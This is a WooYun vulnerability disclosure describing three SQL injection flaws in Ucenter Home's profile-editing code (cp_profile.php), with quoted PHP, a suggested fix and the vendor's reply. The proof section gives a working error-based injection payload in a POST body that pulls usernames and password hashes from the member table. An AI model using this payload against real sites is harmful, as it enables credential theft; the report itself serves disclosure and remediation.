当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(35) 关注此漏洞

缺陷编号: WooYun-2014-69650

漏洞标题: Ucenter Home最新版SQL注入三处

相关厂商: Discuz!

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-07-25 12:24

公开时间: 2014-10-23 12:26

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 安全意识不足 php源码审核 白盒测试 安全意识不足

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-25: 细节已通知厂商并且等待厂商处理中
2014-07-25: 厂商已经确认,细节仅向厂商公开
2014-07-28: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-18: 细节向核心白帽子及相关领域专家公开
2014-09-28: 细节向普通白帽子公开
2014-10-08: 细节向实习白帽子公开
2014-10-23: 细节向公众公开

简要描述:

Ucenter Home最新版SQL注入三处

详细说明:

从官方下载最新版Ucenter Home



第一处SQL注入:

个人设置——个人资料——基本资料

文件/source/cp_profile.php:

code 区域
if($_GET['op'] == 'base') {

if(submitcheck('profilesubmit') || submitcheck('nextsubmit')) {

if(!@include_once(S_ROOT.'./data/data_profilefield.php')) {
include_once(S_ROOT.'./source/function_cache.php');
profilefield_cache();
}
$profilefields = empty($_SGLOBAL['profilefield'])?array():$_SGLOBAL['profilefield'];
......
//隐私
$inserts = array();
foreach ($_POST['friend'] as $key => $value) {
$value = intval($value);
$inserts[] = "('base','$key','$space[uid]','$value')";
}
if($inserts) {
$_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='base'");
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend)
VALUES ".implode(',', $inserts));
}



从上述代码中可以看到:

code 区域
$inserts = array();
foreach ($_POST['friend'] as $key => $value) {
$value = intval($value);
$inserts[] = "('base','$key','$space[uid]','$value')";
}



$_POST['friend']的key和value进入了inserts中

这里的value被处理了

但是key没有处理。

再来看:

code 区域
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend)
VALUES ".implode(',', $inserts));



然后inserts直接进入了sql语句



总结:

key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。



第二处SQL注入:

个人设置——个人资料——个人信息

文件/source/cp_profile.php:

code 区域
elseif ($_GET['op'] == 'info') {

if(submitcheck('profilesubmit')) {

$inserts = array();
foreach ($_POST['info'] as $key => $value) {
$value = getstr($value, 500, 1, 1);
$friend = intval($_POST['info_friend'][$key]);
$inserts[] = "('$space[uid]','info','$key','$value','$friend')";
}

if($inserts) {
$_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='info'");
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')."
(uid,type,subtype,title,friend)
VALUES ".implode(',', $inserts));
}



同样,key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。



第三处SQL注入:

个人设置——个人资料——联系方式

文件/source/cp_profile.php:

code 区域
elseif ($_GET['op'] == 'contact') {

if($_GET['resend']) {
//重新发送邮箱验证
$toemail = $space['newemail']?$space['newemail']:$space['email'];
emailcheck_send($space['uid'], $toemail);
showmessage('do_success', "cp.php?ac=profile&op=contact");
}
......
//隐私
$inserts = array();
foreach ($_POST['friend'] as $key => $value) {
$value = intval($value);
$inserts[] = "('contact','$key','$space[uid]','$value')";
}
if($inserts) {
$_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='contact'");
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend)
VALUES ".implode(',', $inserts));
}



同样,key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。

漏洞证明:

第一处SQL证明:

登陆,修改个人资料,修改基本资料

111.png



填写信息,点击保存,抓包,修改POST信息:

code 区域
name=111111&sex=1&marry=1&friend%5Bmarry%5D=0&birthyear=2014&birthmonth=7&birthday=25&friend%5Bbirth%5D=0&blood=AB&friend%5Bblood%5D=0&birthprovince=%E5%8C%97%E4%BA%AC&birthcity=%E4%B8%9C%E5%9F%8E&friend%5Bbirthcity%5D=0&resideprovince=%E5%8C%97%E4%BA%AC&residecity=%E4%B8%9C%E5%9F%8E&friend%5Bresidecity%5D=0&profilesubmit=%E4%BF%9D%E5%AD%98&formhash=6acac340&friend[key',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b),'value')#]=sqli



然后看结果:

222.png



成功注入。



第二处注入和第三处注入的方法一致

在修改对应信息时,抓包,修改POST信息即可。

修复方案:

对key值进行处理后再进入sql。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-25 16:20

厂商回复:

Uchome已经停止更新维护,感谢您对我们产品的关注。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-25 15:32 | Aepl│恋爱 ( 实习白帽子 | Rank:45 漏洞数:15 | Forzen恋爱-不要做你的Guest 只想做的你adm...)
    0

    1过了

  2. 2014-08-27 10:46 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    和这个一样阿貌似,没奖金了。 WooYun: Ucenter Home 2.0 SQL注入2枚(最新版)

  3. 2014-08-27 10:54 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @pandas .....

登录后才能发表评论,请先 登录